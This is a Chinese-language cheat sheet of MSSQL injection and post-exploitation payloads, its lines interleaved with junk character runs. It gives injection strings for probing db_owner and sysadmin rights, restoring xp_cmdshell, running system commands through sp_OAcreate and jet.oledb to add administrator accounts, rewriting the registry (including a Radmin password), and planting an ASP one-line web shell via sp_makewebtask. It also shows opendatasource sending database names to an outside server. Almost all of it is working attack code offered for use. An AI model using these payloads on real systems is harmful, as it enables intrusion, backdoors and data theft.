//看看是什么权限的
( y3 b4 l4 p$ Q7 P- k& rand 1=(Select IS_MEMBER('db_owner')): T& V8 y& W, ^
And char(124)%2BCast(IS_MEMBER('db_owner') as varchar(1))%2Bchar(124)=1 ;--
. e* t; ? G2 K7 V3 ^- X! E3 e% l% B6 O7 l
//检测是否有读取某数据库的权限$ |1 x3 R7 ]1 y& h0 X2 u4 @$ V: d
and 1= (Select HAS_DBACCESS('master'))
; d, U$ x4 f* i" Z$ T8 UAnd char(124)%2BCast(HAS_DBACCESS('master') as varchar(1))%2Bchar(124)=1 --
. P6 Q z$ `8 f; l& E6 v7 L5 _
) [: G8 p% u6 [* X" U5 M# y( `( B" v! |6 b6 ?! a
数字类型
6 }5 `: m4 `; U! }: x* K! g1 [& @* Kand char(124)%2Buser%2Bchar(124)=0' ?) ]( o+ h4 C9 B9 J
( ] P" P: x+ K5 V字符类型
" V& \% g; e( r% K6 T) e, P4 e' and char(124)%2Buser%2Bchar(124)=0 and ''='
! G7 L, I, ]; j. x4 y) S
. _0 y( u- |. _3 O4 R/ [搜索类型2 r( q2 j( G4 ]: H* m4 b7 O
' and char(124)%2Buser%2Bchar(124)=0 and '%'=', I8 ?% ~3 Y4 O1 e8 x3 _
5 n7 a- N" M ^) E3 W
爆用户名5 N( z a* [2 A, y& D* p# U
and user>0
; ~+ t$ O" v1 E. L) ~' and user>0 and ''='
# N5 s. T6 j# s5 j
9 l0 u' L2 Q* F: V$ l. A/ g: u检测是否为SA权限6 Z9 U5 X) \3 @& \6 P2 l2 u, @
and 1=(select IS_SRVROLEMEMBER('sysadmin'));--6 [" V3 d2 h4 g& T. p5 H! z
And char(124)%2BCast(IS_SRVROLEMEMBER(0x730079007300610064006D0069006E00) as varchar(1))%2Bchar(124)=1 --
# }: W, B0 s* }2 t2 M; S0 E9 Z8 I, Y0 v1 ]5 Z0 P! L* j
检测是不是MSSQL数据库* Y8 I& b& @- [2 `% N6 t: `
and exists (select * from sysobjects);--
' a( \8 j, B+ Z# [7 B( B
, l) B v; T' y) D- {- v, {- R3 n. J检测是否支持多行
2 J# r) ?; r3 j- N;declare @d int;--
8 X. C! d+ [5 ]6 R+ y- n
; u, a6 c5 N7 z1 e; ?% ^恢复 xp_cmdshell2 M' l. X; R/ H2 o/ {/ \
;exec master..dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll';--
7 Z+ z$ O+ f0 X/ ]% d. I9 w" Y/ H" \- [( r) j: K6 ?
8 g0 {: y1 a3 u# y
select * from openrowset('sqloledb','server=192.168.1.200,1433;uid=test;pwd=pafpaf','select @@version')! h+ }; N, t! C7 `& ~9 f$ _
! d! F' n3 q3 ~ n* F8 H3 k
//-----------------------
4 b/ p0 }. b- \8 w' g( f1 N// 执行命令7 E4 |7 x5 {5 L V8 F2 Q; [
//-----------------------
+ D, \/ b/ q# M8 @* ]* W首先开启沙盘模式:# F4 |+ S6 r6 a. H/ [8 X" a
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1% k% v. k& y7 k& w2 t
' w) b0 p% A4 M/ p' o- \; k然后利用jet.oledb执行系统命令
6 A- g9 F! D- m( B& _8 n2 uselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')
9 c, s% c% [" q1 z) d
0 @1 U" `, V- K* K执行命令
5 `+ u. l5 \" [( i3 P2 X;DECLARE @shell INT EXEC SP_OAcreate 'wscript.shell',@shell OUTPUT EXEC SP_OAMETHOD @shell,'run',null, 'C:\WINNT\system32\cmd.exe /c net user paf pafpaf /add';--- J3 R' L, ^ y; ] D
; R) H% y) V" V; h$ C- C+ }0 o# jEXEC [master].[dbo].[xp_cmdshell] 'cmd /c md c:\1111'" E# C6 S- s" x
* v! ~8 c* @6 b8 q. Q, I判断xp_cmdshell扩展存储过程是否存在:* k g2 W, z# \. _- v7 g6 M
http://192.168.1.5/display.asp?keyno=188 and 1=(Select count(*) FROM master.dbo.sysobjects Where xtype = 'X' AND name = 'xp_cmdshell')
T! e6 A. s# x/ j1 a4 E$ `, X/ N# T
写注册表
% x5 B3 x3 `# v' ^# D5 Kexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1: m% C# f4 @" o' W
a- S- v' W& x# y
REG_SZ2 V4 o: M4 `- B! q0 H
/ o8 o: h% N& s- V
读注册表
6 k; m" f, K8 p4 F& O; Yexec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
7 u, W4 T8 H; u6 l: X' ?% \( |5 k$ z! f2 p; ^4 s; h
读取目录内容/ N+ H/ N; p' y: ?
exec master..xp_dirtree 'c:\winnt\system32\',1,1( V8 x2 e0 V+ v/ g# N% I0 \+ w
) C/ I/ U% y* B; v$ H$ J' p( _, R. T& Z4 g4 {# c
数据库备份; a& ^) E! t g9 i
backup database pubs to disk = 'c:\123.bak'
8 M3 ?, S3 F) `+ ~! U: _+ d1 L, s }
//爆出长度) ^ E- Q6 B0 s1 a9 J# e& S# g* g
And (Select char(124)%2BCast(Count(1) as varchar(8000))%2Bchar(124) From D99_Tmp)=0 ;--
- [+ B# s) ~3 J- m- _8 S+ }4 h) U% Y; i+ [- |6 |$ N
" W: |4 `0 W$ y7 r1 X. B. A! J
( w: K9 x$ T4 B* @
更改sa口令方法:用sql综合利用工具连接后,执行命令: P( z5 i* G! Z$ [* o) g2 I3 D
exec sp_password NULL,'新密码','sa'9 U( B, H/ M, m: N4 r
3 m4 r5 C* ~3 h: D' y1 ?- V添加和删除一个SA权限的用户test:9 i( m5 t) d* r, c0 l1 u+ Q' B& W# h
exec master.dbo.sp_addlogin test,9530772
% x# _7 |2 y- E4 |exec master.dbo.sp_addsrvrolemember test,sysadmin
3 h2 [ s$ a% a) I8 p% p2 H
) t2 D, |7 K, l( d) a- e删除扩展存储过过程xp_cmdshell的语句:/ k q" |6 p0 _' N' V6 J
exec sp_dropextendedproc 'xp_cmdshell'
2 W" |6 n. E, K+ c3 Q& _9 |; \* J2 G: B
添加扩展存储过过程2 o: ~" S$ r, l% V" v4 V4 f
EXEC [master]..sp_addextendedproc 'xp_proxiedadata', 'c:\winnt\system32\sqllog.dll'" Z: n& G/ K" X) Y8 x
GRANT exec On xp_proxiedadata TO public
) G h" t+ d2 K, u5 C/ _4 E
" C' Q' x' ?7 }! X& I0 p. \
) b: x+ A+ ]) C! u$ C# Y- V, E停掉或激活某个服务。1 _$ o! \3 M- [* X
/ i% g, }5 W2 P7 Q2 f, _" i- m
exec master..xp_servicecontrol 'stop','schedule'9 Y% ?1 O N1 m( J5 {$ H
exec master..xp_servicecontrol 'start','schedule'
2 L( a7 E0 B9 B A8 ]$ |, d* p# a6 K6 c, x4 ^) g3 H/ J
dbo.xp_subdirs
. E7 l! P8 i" i: N. H% {5 T S2 p0 d. C% V7 F
只列某个目录下的子目录。: `& w% h5 j, e( X3 o! c& ]
xp_getfiledetails 'C:\Inetpub\wwwroot\SQLInject\login.asp': \. _( {) h/ D; H, g
8 c' `4 L" e6 e! C* y# r( U u
dbo.xp_makecab
) y- W F5 `( O) w8 m' _
; g- {! H8 j# | x$ z将目标多个档案压缩到某个目标档案之内。6 C2 S7 g4 \% g5 c$ e! C! Q- y
所有要压缩的档案都可以接在参数列的最后方,以逗号隔开。) v7 E% D" l! ~2 |
8 p- _; E _7 K# E8 G. {" l+ N
dbo.xp_makecab
& k# z n$ B( |7 F8 `, H5 f4 d6 k'c:\test.cab','mszip',1,
: X0 A# h# r6 Q' _" ]6 {'C:\Inetpub\wwwroot\SQLInject\login.asp',
: Q! Y( G9 W6 e" k8 g'C:\Inetpub\wwwroot\SQLInject\securelogin.asp'
) m2 h' I7 I0 N- t) y$ N! T1 t
! D- w1 _! |. E/ Q/ z# w7 axp_terminate_process
( l1 L8 ?6 [) x' h1 E" D! j2 K+ K( z( Q. D1 L5 g& ^
停掉某个执行中的程序,但赋予的参数是 Process ID。
/ F7 ]5 o j; o; h- M5 x: c8 ?利用”工作管理员”,透过选单「检视」-「选择字段」勾选 pid,就可以看到每个执行程序的 Process ID
' L V/ V, Y+ ?) }% j; H% O6 [, `+ U8 n- G* P; p' K6 s7 a
xp_terminate_process 2484
( Y( D: V! o! ~' ?, o3 F' |
% p7 v- h& i8 P; u3 W ]" r2 Kxp_unpackcab
; p0 p$ G' G1 v3 S$ t B1 o, J u" _$ d" w; s( X6 H3 p
解开压缩档。
* E, G1 a# t' a) H
+ o% d O* w$ R3 M2 F1 ]! z s" hxp_unpackcab 'c:\test.cab','c:\temp',1
# Z$ G& o$ i" E( ]
* N; \3 J) U- K4 V* Z& Y4 W* R. H4 Y
某机,安装了radmin,密码被修改了,regedit.exe不知道被删除了还是被改名了,net.exe不存在,没有办法使用regedit /e 导入注册文件,但是mssql是sa权限,使用如下命令 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','Parameter','REG_BINARY',0x02ba5e187e2589be6f80da0046aa7e3c 即可修改密码为12345678。如果要修改端口值 EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SYSTEM\RAdmin\v2.0\Server\Parameters','port','REG_BINARY',0xd20400 则端口值改为1234
! r4 ~6 O$ l) `& P3 \2 k) S1 j/ g% |/ }5 ?
create database lcx;! Q# d0 e5 d2 q" L4 v, @% ~/ ?
Create TABLE ku(name nvarchar(256) null);# X: p, _( A, u. x; z( R% ?
Create TABLE biao(id int NULL,name nvarchar(256) null);& d9 \9 O. V( }0 D" x9 }
, d6 K* @& j8 S x
//得到数据库名
' m- q, h" z( E: n' h1 U% W0 qinsert into opendatasource('sqloledb','server=211.39.145.163,1443;uid=test;pwd=pafpaf;database=lcx').lcx.dbo.ku select name from master.dbo.sysdatabases
3 M7 D& v2 e: t/ H# O+ A% o; ` ]. F5 H$ w6 ?( V; a2 Z
9 E; |: t8 ~& |8 y, C9 p$ P$ E. u//在Master中创建表,看看权限怎样# F# G1 a3 `& j# ]. Z& ?9 b( q
Create TABLE master..D_TEST(id nvarchar(4000) NULL,Data nvarchar(4000) NULL);--; w. M: h+ p ?
; l9 l+ i4 P [) o8 C用 sp_makewebtask直接在web目录里写入一句话马:
5 Y4 G; {* e+ M2 xhttp://127.0.0.1/dblogin123.asp?username=123';exec%20sp_makewebtask%20'd:\www\tt\88.asp','%20select%20''<%25execute(request("a"))%25>''%20';--
+ ?6 F2 q. X. m; @
7 {4 f: v f+ _/ Z7 E+ K( s) W2 b//更新表内容
" ^. x) e8 U, OUpdate films SET kind = 'Dramatic' Where id = 123
# e1 {2 U8 e7 B" G9 p! H1 z' s! h
$ @3 U+ e1 V$ @//删除内容
, F+ X$ e, c [7 W, f! g: J/ t' H0 Pdelete from table_name where Stockid = 3 |